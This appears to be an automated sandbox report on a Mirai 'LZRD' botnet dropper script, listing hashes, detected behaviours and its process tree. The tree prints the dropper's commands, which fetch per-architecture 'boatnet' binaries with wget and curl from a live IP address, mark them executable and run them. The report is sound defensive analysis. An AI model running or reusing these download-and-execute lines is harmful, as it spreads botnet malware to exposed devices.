Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    18-12-2024 02:18

General

  • Target

    2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh

  • Size

    2KB

  • MD5

    d7aac5b39f096043750096172ee9a84f

  • SHA1

    fde809f81c26db59c148255c0b60176c8971bc0c

  • SHA256

    2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5

  • SHA512

    77c79dcb7c89e16cfe5d3712adf37173249b6066673ff20c2a2b6c90ebe2eb5ac5c295a250b6b9fc0596ff0872ecc15d4dec8852a515c0826436426dd5f1efff

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 42 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh
    /tmp/2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh
    1⤵
    • Writes file to tmp directory
    PID:711
    • /usr/bin/wget
      wget http://147.45.124.54/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:714
    • /usr/bin/curl
      curl -O http://147.45.124.54/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:735
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:740
      • /bin/chmod
        chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.x86 systemd-private-17487ba24e684be885dfb428a5167d03-systemd-timedated.service-fqRnF5 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:741
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:742
      • /usr/bin/wget
        wget http://147.45.124.54/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:744
      • /usr/bin/curl
        curl -O http://147.45.124.54/hiddenbin/boatnet.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:745
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:746
      • /bin/chmod
        chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.mips boatnet.x86 systemd-private-17487ba24e684be885dfb428a5167d03-systemd-timedated.service-fqRnF5 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:747
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:748
      • /usr/bin/wget
        wget http://147.45.124.54/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:750
      • /usr/bin/curl
        curl -O http://147.45.124.54/hiddenbin/boatnet.arc
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:751
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:758
        • /bin/chmod
          chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.mips boatnet.x86 systemd-private-17487ba24e684be885dfb428a5167d03-systemd-timedated.service-fqRnF5 WTF
          2⤵
          • File and Directory Permissions Modification
          PID:759
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:760
        • /usr/bin/wget
          wget http://147.45.124.54/hiddenbin/boatnet.i468
          2⤵
            PID:764
          • /usr/bin/curl
            curl -O http://147.45.124.54/hiddenbin/boatnet.i468
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:773
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:780
            • /bin/chmod
              chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 systemd-private-17487ba24e684be885dfb428a5167d03-systemd-timedated.service-fqRnF5 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:781
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:782
            • /usr/bin/wget
              wget http://147.45.124.54/hiddenbin/boatnet.i686
              2⤵
                PID:784
              • /usr/bin/curl
                curl -O http://147.45.124.54/hiddenbin/boatnet.i686
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:794
              • /bin/cat
                cat boatnet.i686
                2⤵
                  PID:806
                • /bin/chmod
                  chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 systemd-private-17487ba24e684be885dfb428a5167d03-systemd-timedated.service-fqRnF5 WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:807
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:808
                • /usr/bin/wget
                  wget http://147.45.124.54/hiddenbin/boatnet.x86_64
                  2⤵
                    PID:810
                  • /usr/bin/curl
                    curl -O http://147.45.124.54/hiddenbin/boatnet.x86_64
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:812
                  • /bin/cat
                    cat boatnet.x86_64
                    2⤵
                      PID:813
                    • /bin/chmod
                      chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 systemd-private-17487ba24e684be885dfb428a5167d03-systemd-timedated.service-fqRnF5 WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:814
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:815
                    • /usr/bin/wget
                      wget http://147.45.124.54/hiddenbin/boatnet.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:816
                    • /usr/bin/curl
                      curl -O http://147.45.124.54/hiddenbin/boatnet.mpsl
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:817
                    • /bin/cat
                      cat boatnet.mpsl
                      2⤵
                        PID:818
                      • /bin/chmod
                        chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-17487ba24e684be885dfb428a5167d03-systemd-timedated.service-fqRnF5 WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:819
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Writes file to system bin folder
                        • Reads runtime system information
                        PID:820
                      • /usr/bin/wget
                        wget http://147.45.124.54/hiddenbin/boatnet.arm
                        2⤵
                        • Writes file to tmp directory
                        PID:824
                      • /usr/bin/curl
                        curl -O http://147.45.124.54/hiddenbin/boatnet.arm
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:833
                      • /bin/cat
                        cat boatnet.arm
                        2⤵
                          PID:844
                        • /bin/chmod
                          chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-17487ba24e684be885dfb428a5167d03-systemd-timedated.service-fqRnF5 WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:845
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          PID:847
                        • /usr/bin/wget
                          wget http://147.45.124.54/hiddenbin/boatnet.arm5
                          2⤵
                          • Writes file to tmp directory
                          PID:850
                        • /usr/bin/curl
                          curl -O http://147.45.124.54/hiddenbin/boatnet.arm5
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:859
                        • /bin/cat
                          cat boatnet.arm5
                          2⤵
                            PID:865
                          • /bin/chmod
                            chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:866
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:867
                          • /usr/bin/wget
                            wget http://147.45.124.54/hiddenbin/boatnet.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:869
                          • /usr/bin/curl
                            curl -O http://147.45.124.54/hiddenbin/boatnet.arm6
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:870
                          • /bin/cat
                            cat boatnet.arm6
                            2⤵
                              PID:871
                            • /bin/chmod
                              chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:872
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              PID:873
                            • /usr/bin/wget
                              wget http://147.45.124.54/hiddenbin/boatnet.arm7
                              2⤵
                              • Writes file to tmp directory
                              PID:875
                            • /usr/bin/curl
                              curl -O http://147.45.124.54/hiddenbin/boatnet.arm7
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:876
                            • /bin/cat
                              cat boatnet.arm7
                              2⤵
                                PID:877
                              • /bin/chmod
                                chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:878
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                PID:879
                              • /usr/bin/wget
                                wget http://147.45.124.54/hiddenbin/boatnet.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:881
                              • /usr/bin/curl
                                curl -O http://147.45.124.54/hiddenbin/boatnet.ppc
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:882
                              • /bin/cat
                                cat boatnet.ppc
                                2⤵
                                  PID:883
                                • /bin/chmod
                                  chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:884
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:885
                                • /usr/bin/wget
                                  wget http://147.45.124.54/hiddenbin/boatnet.spc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:887
                                • /usr/bin/curl
                                  curl -O http://147.45.124.54/hiddenbin/boatnet.spc
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:888
                                • /bin/cat
                                  cat boatnet.spc
                                  2⤵
                                    PID:889
                                  • /bin/chmod
                                    chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:890
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:891
                                  • /usr/bin/wget
                                    wget http://147.45.124.54/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:893
                                  • /usr/bin/curl
                                    curl -O http://147.45.124.54/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:894
                                  • /bin/cat
                                    cat boatnet.m68k
                                    2⤵
                                      PID:895
                                    • /bin/chmod
                                      chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:896
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:897
                                    • /usr/bin/wget
                                      wget http://147.45.124.54/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:899
                                    • /usr/bin/curl
                                      curl -O http://147.45.124.54/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:900
                                    • /bin/cat
                                      cat boatnet.sh4
                                      2⤵
                                        PID:901
                                      • /bin/chmod
                                        chmod +x 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:902
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Executes dropped EXE
                                        PID:903

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/WTF

                                      Filesize

                                      23KB

                                      MD5

                                      3bdca38ef6a4b0c3aba6c2aeb9adf306

                                      SHA1

                                      6644331553bc4b14d5409e43ca833a246a48f942

                                      SHA256

                                      072a76e22e93f371f6110b43b1f270a4f5c2e9dbdc919315ffcd81c5979b202c

                                      SHA512

                                      1afafe5654a371e5d472437b26b5a496444f4a057e913e146d01c6c81e4b8c7806cd3bf6ffe51dfffd760a7ec73f8449675d01322ef9a917f233f1a3bfc60863

                                    • /tmp/WTF

                                      Filesize

                                      105KB

                                      MD5

                                      1fd8e43cbe5b81848f9cfc60c09d1340

                                      SHA1

                                      63ab77fb7378f0d6e312f26e844002e80965a494

                                      SHA256

                                      317b00ed2023e148d3e740ffc212f5c4adbfce5abe037f6fa1e606dec067d1fa

                                      SHA512

                                      322a26c7fb80b858a19a1dfffac7b5a759e33f60c125761750a6bbe22590be817b8194194780a2e3542c05634900c8bb2c3cfbafbdd6e94ddc133e5177ffb9c1

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      f1c24d9fa40a047ae22d2d3ae7dfeac9

                                      SHA1

                                      750274b02d5f5b00026a4f55b020f4285c693533

                                      SHA256

                                      219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                      SHA512

                                      36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      a8f502a6fb3b7b940e922c951d9e493a

                                      SHA1

                                      fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                      SHA256

                                      748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                      SHA512

                                      e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                    • /tmp/WTF

                                      Filesize

                                      57KB

                                      MD5

                                      5cb5416f0e0923bdc02f6d4ba2a7a82b

                                      SHA1

                                      02a8d03d6b2ecc4571778b978b7c2c6602882543

                                      SHA256

                                      7ad31ffa2a0ccfedf1ebcd62a30d8d7ee06f4a7d7a84b631b7a8f0c550b8c42c

                                      SHA512

                                      1548c1af9960bc65399dc01e491951680f10498988f4afb55c20122d07ae45ac60b53771d8947a91be72948aa916e54d35195f9241bc10f1741cc8288f74d352

                                    • /tmp/boatnet.x86

                                      Filesize

                                      20KB

                                      MD5

                                      9acf9fc63b01f4a7a5b33881073ff6a6

                                      SHA1

                                      cf5be79ccc477ca582c8aee42898442f8089b886

                                      SHA256

                                      0a21cbd563070ce0b39665b70de81e88f4680648335e9c6cd13963e8846e7ea9

                                      SHA512

                                      1dd2bd462850bdd10a2d95214d16dd358131838862a119b47ba6d70a0c894284efbf7294e24c79b0032aba41e09b8e84c372bdae073d6339e269187b8794eae5